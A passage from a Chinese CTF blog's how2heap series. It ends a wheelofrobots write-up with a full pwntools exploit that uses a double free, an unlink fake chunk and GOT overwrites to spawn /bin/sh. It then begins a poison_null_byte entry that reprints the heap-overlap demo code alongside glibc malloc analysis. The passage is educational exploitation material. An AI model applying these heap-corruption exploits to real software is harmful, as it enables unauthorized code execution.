<p>因为我们之前add了Chain_smoker，所以可以用这个Chain_smoker_ptr来修改GOT表，具体为先修改Chain_smoker_ptr为&amp;free_GOT，然后change为&amp;puts_plt，再将Chain_smoker_ptr设置成puts_GOT，从而delete Chain_smoker时可以调用puts(&amp;puts_GOT)，计算出libc偏移</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">overflow_Bender_to(<span class="number">1</span>)</span><br><span class="line">free_GOT=<span class="number">0x603018</span></span><br><span class="line">puts_plt=<span class="number">0x400830</span></span><br><span class="line">puts_GOT=<span class="number">0x603028</span></span><br><span class="line">change(<span class="number">2</span>,p64(<span class="number">0</span>)+p64(free_GOT))<span class="comment">#change Chain_smoker_ptr to &amp;free_GOT by Bender</span></span><br><span class="line">change(<span class="number">4</span>,p64(puts_plt))<span class="comment">#*free_GOT to &amp;puts_plt by Chain_smoker_ptr</span></span><br><span class="line">change(<span class="number">2</span>,p64(<span class="number">0</span>)+p64(puts_GOT))<span class="comment">#change Chain_smoker_ptr to &amp;puts_GOT</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">delete(<span class="number">4</span>)<span class="comment">#puts(&amp;puts_GOT)							0</span></span><br></pre></td></tr></table></figure>



<p>这个时候我发现，delete Chain_smoker之后，由于<code>Chain_smoker</code>记录会变成0，也就是说通过这个指针来实现Arbitrary write不行了（Bender可以重复利用是因为存在一个溢出），但是这里还有一个<code>Destructor_ptr</code>，所以就有了前面delete Bender然后add Destructor的操作，利用<code>Chain_smoker_ptr</code>实现地址泄露之后，再用<code>Destructor_ptr</code>来实现getshell</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x6f690</span></span><br><span class="line">system_address=libc_base+<span class="number">0x45390</span></span><br><span class="line"></span><br><span class="line">change(<span class="number">2</span>,p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(free_GOT))<span class="comment">#change Destructor_ptr to &amp;free_GOT by Bender</span></span><br><span class="line">change(<span class="number">6</span>,p64(system_address))<span class="comment">#*free_GOT to system_address by Destructor_ptr</span></span><br><span class="line">change(<span class="number">2</span>,<span class="string">'/bin/sh\x00'</span>)<span class="comment"># *Bender_ptr = '/bin/sh\x00'</span></span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#system(Bender_ptr)-&gt;system("/bin/sh")</span></span><br></pre></td></tr></table></figure>

<h2 id="完整EXP-1"><a href="#完整EXP-1" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'wheelofrobots'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span> , stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">overflow_Bender_to</span><span class="params">(num)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line">	p.send(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice :'</span>)</span><br><span class="line">	p.send(<span class="string">'9999'</span>+str(num))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(choice,intelligence=<span class="number">0</span>,cruelty=<span class="number">0</span>,powerful=<span class="number">0</span>)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line">	p.send(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice :'</span>)</span><br><span class="line">	p.send(str(choice))</span><br><span class="line"></span><br><span class="line">	<span class="keyword">if</span> choice == <span class="number">2</span>:</span><br><span class="line">		p.recvuntil(<span class="string">'intelligence: '</span>)</span><br><span class="line">		p.send(str(intelligence))</span><br><span class="line">	<span class="keyword">elif</span> choice == <span class="number">3</span>:</span><br><span class="line">		p.recvuntil(<span class="string">'cruelty: '</span>)</span><br><span class="line">		p.send(str(cruelty))</span><br><span class="line">	<span class="keyword">elif</span> choice == <span class="number">6</span>:</span><br><span class="line">		p.recvuntil(<span class="string">'powerful: '</span>)</span><br><span class="line">		p.send(str(powerful))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(choice)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line">	p.send(<span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice :'</span>)</span><br><span class="line">	p.send(str(choice))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">change</span><span class="params">(choice,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line">	p.send(<span class="string">'3'</span>)</span><br><span class="line"></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice :'</span>)</span><br><span class="line">	p.send(str(choice))</span><br><span class="line"></span><br><span class="line">	p.recvuntil(<span class="string">"Robot's name: "</span>)</span><br><span class="line">	p.send(content)</span><br><span class="line"></span><br><span class="line">add(<span class="number">2</span>,intelligence=<span class="number">2</span>)<span class="comment">#Add Bender						1</span></span><br><span class="line">add(<span class="number">3</span>,cruelty=<span class="number">0x20</span>)<span class="comment">#Add Robot Devil	small chunk				2</span></span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#Add Bender to fastbins						1</span></span><br><span class="line">add(<span class="number">4</span>)<span class="comment">#Add large chunk(Chain_smoker) trigger malloc_consolidate	2</span></span><br><span class="line">overflow_Bender_to(<span class="number">1</span>)</span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#Delete Bender again							1</span></span><br><span class="line"></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'Double freed now'</span> + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">Bender_ptr=<span class="number">0x6030F0</span></span><br><span class="line">add(<span class="number">2</span>,intelligence=<span class="number">2</span>)<span class="comment">#Add Bender 						2</span></span><br><span class="line">fake_chunk  = p64(<span class="number">0</span>)+p64(<span class="number">0x21</span>)<span class="comment">#fake chunk head</span></span><br><span class="line">fake_chunk += p64(Bender_ptr<span class="number">-0x18</span>)+p64(Bender_ptr<span class="number">-0x10</span>)<span class="comment">#fake fd/bk</span></span><br><span class="line">fake_chunk += <span class="string">'\x00'</span>*(<span class="number">0x20</span>-len(fake_chunk))</span><br><span class="line">fake_chunk += p64(<span class="number">0x20</span>)<span class="comment">#fake prev_size</span></span><br><span class="line">change(<span class="number">2</span>,fake_chunk)</span><br><span class="line"></span><br><span class="line"><span class="comment">#gdb.attach(p,'b *0x4012C0')</span></span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#Delete Bender_ptr							1</span></span><br><span class="line">add(<span class="number">6</span>,powerful=<span class="number">0x20</span>)<span class="comment">#Add Destructor small chunk     				2</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">3</span>)<span class="comment">#				 					1</span></span><br><span class="line"></span><br><span class="line">overflow_Bender_to(<span class="number">1</span>)</span><br><span class="line">free_GOT=<span class="number">0x603018</span></span><br><span class="line">puts_plt=<span class="number">0x400830</span></span><br><span class="line">puts_GOT=<span class="number">0x603028</span></span><br><span class="line">change(<span class="number">2</span>,p64(<span class="number">0</span>)+p64(free_GOT))<span class="comment">#change Chain_smoker_ptr to &amp;free_GOT by Bender</span></span><br><span class="line">change(<span class="number">4</span>,p64(puts_plt))<span class="comment">#*free_GOT-&gt;puts_plt by Chain_smoker</span></span><br><span class="line">change(<span class="number">2</span>,p64(<span class="number">0</span>)+p64(puts_GOT))<span class="comment">#change Chain_smoker_ptr to &amp;puts_GOT</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">delete(<span class="number">4</span>)<span class="comment">#puts(&amp;puts_GOT)							0	</span></span><br><span class="line"></span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x6f690</span></span><br><span class="line"></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'libc_base'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line">system_address=libc_base+<span class="number">0x45390</span></span><br><span class="line">change(<span class="number">2</span>,p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(free_GOT))<span class="comment">#change Destructor_ptr to &amp;free_GOT by Bender</span></span><br><span class="line">change(<span class="number">6</span>,p64(system_address))<span class="comment">#*free_GOT to system_address by Destructor_ptr</span></span><br><span class="line">change(<span class="number">2</span>,<span class="string">'/bin/sh\x00'</span>)<span class="comment"># *Bender_ptr = '/bin/sh\x00'</span></span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#system(Bender_ptr)-&gt;system("/bin/sh")</span></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - poison_null_byte&amp;plaiddb</title>
    <url>/2020/02/10/how2heap-poison-null-byte-plaiddb/</url>
    <content><![CDATA[<h1 id="how2heap-poison-null-byte-amp-plaiddb"><a href="#how2heap-poison-null-byte-amp-plaiddb" class="headerlink" title="how2heap - poison_null_byte&amp;plaiddb"></a>how2heap - poison_null_byte&amp;plaiddb</h1><p>ubuntu16.04 libc2.23</p>
<h1 id="poison-null-byte-c"><a href="#poison-null-byte-c" class="headerlink" title="poison_null_byte.c"></a>poison_null_byte.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;malloc.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Welcome to poison null byte 2.0!\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Tested in Ubuntu 14.04 64bit.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">uint8_t</span>* a;</span><br><span class="line">	<span class="keyword">uint8_t</span>* b;</span><br><span class="line">	<span class="keyword">uint8_t</span>* c;</span><br><span class="line">	<span class="keyword">uint8_t</span>* b1;</span><br><span class="line">	<span class="keyword">uint8_t</span>* b2;</span><br><span class="line">	<span class="keyword">uint8_t</span>* d;</span><br><span class="line">	<span class="keyword">void</span> *barrier;</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We allocate 0x100 bytes for 'a'.\n"</span>);</span><br><span class="line">	a = (<span class="keyword">uint8_t</span>*) <span class="built_in">malloc</span>(<span class="number">0x100</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"a: %p\n"</span>, a);</span><br><span class="line">	<span class="keyword">int</span> real_a_size = malloc_usable_size(a);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Since we want to overflow 'a', we need to know the 'real' size of 'a' "</span></span><br><span class="line">		<span class="string">"(it may be more than 0x100 because of rounding): %#x\n"</span>, real_a_size);</span><br><span class="line"></span><br><span class="line">	<span class="comment">/* chunk size attribute cannot have a least significant byte with a value of 0x00.</span></span><br><span class="line"><span class="comment">	 * the least significant byte of this will be 0x10, because the size of the chunk includes</span></span><br><span class="line"><span class="comment">	 * the amount requested plus some amount required for the metadata. */</span></span><br><span class="line">	b = (<span class="keyword">uint8_t</span>*) <span class="built_in">malloc</span>(<span class="number">0x200</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b: %p\n"</span>, b);</span><br><span class="line"></span><br><span class="line">	c = (<span class="keyword">uint8_t</span>*) <span class="built_in">malloc</span>(<span class="number">0x100</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"c: %p\n"</span>, c);</span><br><span class="line"></span><br><span class="line">	barrier =  <span class="built_in">malloc</span>(<span class="number">0x100</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"</span></span><br><span class="line">		<span class="string">"The barrier is not strictly necessary, but makes things less confusing\n"</span>, barrier);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">uint64_t</span>* b_size_ptr = (<span class="keyword">uint64_t</span>*)(b - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line">	<span class="comment">// added fix for size==prev_size(next_chunk) check in newer versions of glibc</span></span><br><span class="line">	<span class="comment">// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30</span></span><br><span class="line">	<span class="comment">// this added check requires we are allowed to have null pointers in b (not just a c string)</span></span><br><span class="line">	<span class="comment">//*(size_t*)(b+0x1f0) = 0x200;</span></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"In newer versions of glibc we will need to have our updated size inside b itself to pass "</span></span><br><span class="line">		<span class="string">"the check 'chunksize(P) != prev_size (next_chunk(P))'\n"</span>);</span><br><span class="line">	<span class="comment">// we set this location to 0x200 since 0x200 == (0x211 &amp; 0xff00)</span></span><br><span class="line">	<span class="comment">// which is the value of b.size after its first byte has been overwritten with a NULL byte</span></span><br><span class="line">	*(<span class="keyword">size_t</span>*)(b+<span class="number">0x1f0</span>) = <span class="number">0x200</span>;</span><br><span class="line"></span><br><span class="line">	<span class="comment">// this technique works by overwriting the size metadata of a free chunk</span></span><br><span class="line">	<span class="built_in">free</span>(b);</span><br><span class="line">	</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b.size: %#lx\n"</span>, *b_size_ptr);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b.size is: (0x200 + 0x10) | prev_in_use\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We overflow 'a' with a single null byte into the metadata of 'b'\n"</span>);</span><br><span class="line">	a[real_a_size] = <span class="number">0</span>; <span class="comment">// &lt;--- THIS IS THE "EXPLOITED BUG"</span></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b.size: %#lx\n"</span>, *b_size_ptr);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">uint64_t</span>* c_prev_size_ptr = ((<span class="keyword">uint64_t</span>*)c)<span class="number">-2</span>;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"c.prev_size is %#lx\n"</span>,*c_prev_size_ptr);</span><br><span class="line"></span><br><span class="line">	<span class="comment">// This malloc will result in a call to unlink on the chunk where b was.</span></span><br><span class="line">	<span class="comment">// The added check (commit id: 17f487b), if not properly handled as we did before,</span></span><br><span class="line">	<span class="comment">// will detect the heap corruption now.</span></span><br><span class="line">	<span class="comment">// The check is this: chunksize(P) != prev_size (next_chunk(P)) where</span></span><br><span class="line">	<span class="comment">// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)</span></span><br><span class="line">	<span class="comment">// next_chunk(P) == b-0x10+0x200 == b+0x1f0</span></span><br><span class="line">	<span class="comment">// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200</span></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n"</span>,</span><br><span class="line">		*((<span class="keyword">size_t</span>*)(b<span class="number">-0x8</span>)), *(<span class="keyword">size_t</span>*)(b<span class="number">-0x10</span> + *((<span class="keyword">size_t</span>*)(b<span class="number">-0x8</span>))));</span><br><span class="line">	b1 = <span class="built_in">malloc</span>(<span class="number">0x100</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b1: %p\n"</span>,b1);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now we malloc 'b1'. It will be placed where 'b' was. "</span></span><br><span class="line">		<span class="string">"At this point c.prev_size should have been updated, but it was not: %#lx\n"</span>,*c_prev_size_ptr);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Interestingly, the updated value of c.prev_size has been written 0x10 bytes "</span></span><br><span class="line">		<span class="string">"before c.prev_size: %lx\n"</span>,*(((<span class="keyword">uint64_t</span>*)c)<span class="number">-4</span>));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We malloc 'b2', our 'victim' chunk.\n"</span>);</span><br><span class="line">	<span class="comment">// Typically b2 (the victim) will be a structure with valuable pointers that we want to control</span></span><br><span class="line"></span><br><span class="line">	b2 = <span class="built_in">malloc</span>(<span class="number">0x80</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b2: %p\n"</span>,b2);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">memset</span>(b2,<span class="string">'B'</span>,<span class="number">0x80</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Current b2 content:\n%s\n"</span>,b2);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">free</span>(b1);</span><br><span class="line">	<span class="built_in">free</span>(c);</span><br><span class="line">	</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Finally, we allocate 'd', overlapping 'b2'.\n"</span>);</span><br><span class="line">	d = <span class="built_in">malloc</span>(<span class="number">0x300</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"d: %p\n"</span>,d);</span><br><span class="line">	</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now 'd' and 'b2' overlap.\n"</span>);</span><br><span class="line">	<span class="built_in">memset</span>(d,<span class="string">'D'</span>,<span class="number">0x300</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"New b2 content:\n%s\n"</span>,b2);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"</span></span><br><span class="line">		<span class="string">"for the clear explanation of this technique.\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>大致意思如下：程序首先malloc了四个small chunk（这里我写的是实际大小）接着进行如下操作：</p>
<p><code>0x110（a）    0x210（b）    0x110（c）    0x110（barrier）</code></p>
<ol>
<li>在b chunk的0x200偏移处写上了0x200</li>
<li><code>free(b)</code>，设置c.prev_size=0x210，c.size=0x110（此时b chunk被置入unsorted bin）</li>
<li>通过a的溢出将b.size由0x211改为0x200</li>
<li><code>b1=malloc(0x100)</code>，将b分割出b1（如果不在之前设置fake prev_size，分割时调用unlink会出错）</li>
<li><code>b2=malloc(0x80)//victim chunk</code></li>
<li><code>free(b1)</code>b1被free之后在下一步<code>free(c)</code>时即可通过unlink的检查<code>FD-&gt;bk != P || BK-&gt;fd != P</code></li>
<li><code>free(c)</code>,由于c.prev_size在之前被设置成了0x210，c.size为0x110，所以这个free会将前0x210size的chunk一起合并</li>
<li><code>d=malloc(0x300)</code>，此时d与b2 overlap</li>
</ol>
<h2 id="debug"><a href="#debug" class="headerlink" title="debug"></a>debug</h2><p>debug的时候实在是受不了pwndbg里面heap的非hex显示了，于是自己去改了一下pwndbg的脚本（然后被安利了pwngdb和pwndocker，准备这个题写完就去看看）</p>
<p>在pwndbg/pwndbg/commands目录下的heap.py文件里面，找到<code>malloc_chunk</code>函数，然后替换一下注释掉的那行即可：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#print(header, chunk["value"])</span></span><br><span class="line">    print(header,<span class="string">'&#123;'</span>)</span><br><span class="line">    print(<span class="string">'  prev_size   = '</span>+hex(chunk[<span class="string">'prev_size'</span>]).ljust(<span class="number">15</span>,chr(<span class="number">0x20</span>)),<span class="string">'size        = '</span>+hex(chunk[<span class="string">'size'</span>]))</span><br><span class="line">    print(<span class="string">'  fd          = '</span>+hex(chunk[<span class="string">'fd'</span>]).ljust(<span class="number">15</span>,chr(<span class="number">0x20</span>)),<span class="string">'bk          = '</span>+hex(chunk[<span class="string">'bk'</span>]))</span><br><span class="line">    print(<span class="string">'  fd_nextsize = '</span>+hex(chunk[<span class="string">'fd_nextsize'</span>]).ljust(<span class="number">15</span>,chr(<span class="number">0x20</span>)),<span class="string">'bk_nextsize = '</span>+hex(chunk[<span class="string">'bk_nextsize'</span>]))</span><br><span class="line">    print(<span class="string">'&#125;'</span>)</span><br></pre></td></tr></table></figure>

<p>gdb.Value object里面的直接打印的话是十进制显示的一些值，看起来没那么方便，自己可以按照喜欢的格式改一下脚本</p>
<p><strong>第3步执行之后：</strong></p>
<p><img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581064511575.png" alt="1581064511575"></p>
<p>ps：这里可以看出来pwndbg的heap显示是根据堆上的size偏移来计算chunk地址的，所以修改size之后会出现这种错位的现象</p>
<p><strong>第5步执行之后：</strong></p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581064709879.png" width="70%" height="70%">

<p><strong>第6步执行之后：</strong></p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581064849626.png" width="70%" height="70%">

<p>b1会被再次放入unsorted bin当中，此时b1是在正常bin链上，当然也具备unlink检查的条件</p>
<p>ps：注意第7步执行之后，本来是unlink了b1这个堆块，但是free时会把合并后的堆块再放入unsortedbin，所以在gdb下查看第七步执行之后的bins中unsortedbin是没有变的（毕竟b1和b的首地址时一样的）</p>
<p><strong>第8步执行过程</strong></p>
<p>我调试了很久很久，主要是搭了glibc源码的调试环境然后撸了很久的malloc源码</p>
<p>因为在第八步执行前heap上和chunk的情况是这样的：</p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581132885745.png" width="60%" height="60%">

<p>但是执行之后变成了这样：</p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581132905008.png" width="55%" height="55%">

<p>小的被分割出来的chunk被放入了smallbins，然后<code>malloc(0x300)</code>返回出来的chunk是合并后0x320字节的chunk，照理来说应该是0x310才对，如果是对0x320的chunk进行了切割，剩下的0x10字节是&lt;<code>MINSIZE</code>的，所以得看分配时是不是发生了哪种fit，最后在撸了源码之后，参考xman师傅发的堆ppt看到了这个（不愧是师傅们的总结，tql），不过师傅们的总结这里，unsorted bin大小满足分配需求、剩余大小&lt;<code>MINSIZE</code>时在我这里似乎并不是直接取，因为我撸源码时，里面判断&gt;<code>MINSIZE</code>不成立时直接就把unsortedbin中最后一个块取下来了。</p>
<p><img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581133887238.png" alt="1581133887238"></p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581144994741.png" width="55%" height="55%">

<p><strong>ps:</strong>再就是直接从unsortedbin取chunk要满足上图中未打框的四个条件，这里在第4步<code>malloc(0x100)分割出b1</code>，实际上不是从unsortedbin b直接切出来的，是先把这个chunk放入了对应的smallbins，然后再从smallbins切出来的，剩下的快由于大于<code>MINSIZE</code>，所以再被链入了unsortedbin，此时last_remainder才被初始化（对应剩下的块），看上去b1好像是直接从unsortedbin b直接切出来的实际上不是<em>（所以这里再立个 flag，自己找时间把malloc的全流程稍微详细的写一遍）</em>，所以我发现分割之后的两个chunk中fd和bk不一样，如下(last_remainder也在第一次分割chunk后初始化)：</p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581151294350.png" width="70%" height="70%">

<p><img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581152010623.png" alt="1581152010623"></p>
<p><em>如上，首先被链入smallbins</em></p>
<p>回到第八步，ptmalloc源码分析那本PDF里面也写到了best-fit相关：</p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581134255040.png" width="60%" height="60%">

<p>此时从对应smallbins中对应下标（0x310-&gt;0x31）的下一个下标（0x320-&gt;0x32）开始找，这里补一个binmap的知识点</p>
<h2 id="binmap-amp-一些流程"><a href="#binmap-amp-一些流程" class="headerlink" title="binmap&amp;一些流程"></a>binmap&amp;一些流程</h2><p>在x64下binmap同样是4个Dword（4*32）</p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581139383559.png" width="80%" height="80%">

<p>利用binmap找到best-fit chunk的具体代码如下：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (;;) &#123;</span><br><span class="line"><span class="comment">/* Skip rest of block if there are no more set bits in this block. */</span></span><br><span class="line">	<span class="keyword">if</span> (<span class="built_in">bit</span> &gt; <span class="built_in">map</span> || <span class="built_in">bit</span> == <span class="number">0</span>) &#123;</span><br><span class="line">		<span class="keyword">do</span> &#123;</span><br><span class="line">			<span class="keyword">if</span> (++block &gt;= BINMAPSIZE) <span class="comment">/* out of bins */</span></span><br><span class="line">				<span class="keyword">goto</span> use_top;</span><br><span class="line">		&#125; <span class="keyword">while</span> ( (<span class="built_in">map</span> = av-&gt;binmap[block]) == <span class="number">0</span>);</span><br><span class="line">		bin = bin_at(av, (block &lt;&lt; BINMAPSHIFT));</span><br><span class="line">		<span class="built_in">bit</span> = <span class="number">1</span>;</span><br><span class="line">        <span class="comment">//Idx2bit()宏将 idx 指定的位设置为 1，其它位清零， map 表示一个 block（unsigned int）值，如果 bit </span></span><br><span class="line">        <span class="comment">//大于 map，意味着 map 为 0，该 block 所对应的所有 bins 中都没有空闲 chunk，于是遍历 binmap 的下一</span></span><br><span class="line">        <span class="comment">//个 block，直到找到一个不为 0 的 block 或者遍历完所有的 block。退出循环遍历后，设置 bin 指向 block </span></span><br><span class="line">        <span class="comment">//的第一个 bit 对应的 bin，并将 bit 置为 1，表示该 block中 bit 1 对应的 bin，这个 bin 中如果有空闲 </span></span><br><span class="line">        <span class="comment">//chunk，该 chunk 的大小一定满足要求。</span></span><br><span class="line">	</span><br><span class="line">		<span class="keyword">while</span> ((<span class="built_in">bit</span> &amp; <span class="built_in">map</span>) == <span class="number">0</span>) &#123;</span><br><span class="line">            bin = next_bin(bin);</span><br><span class="line">            <span class="built_in">bit</span> &lt;&lt;= <span class="number">1</span>;</span><br><span class="line">            assert(<span class="built_in">bit</span> != <span class="number">0</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//在一个 block 遍历对应的 bin，直到找到一个 bit 不为 0 退出遍历，则该 bit 对于的 bin</span></span><br><span class="line">        <span class="comment">//中有空闲 chunk 存在。</span></span><br><span class="line">        victim = last(bin);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>然后接下来就是一些分配流程</p>
<ul>
<li>如果 victim 与 bin 链表头指针相同，表示该 bin 中没有空闲 chunk， binmap 中的相应位设置不准确，将 binmap 的相应 bit 位清零， 获取当前 bin 下一个 bin，将 bit 移到下一个 bit位，即乘以 2。 </li>
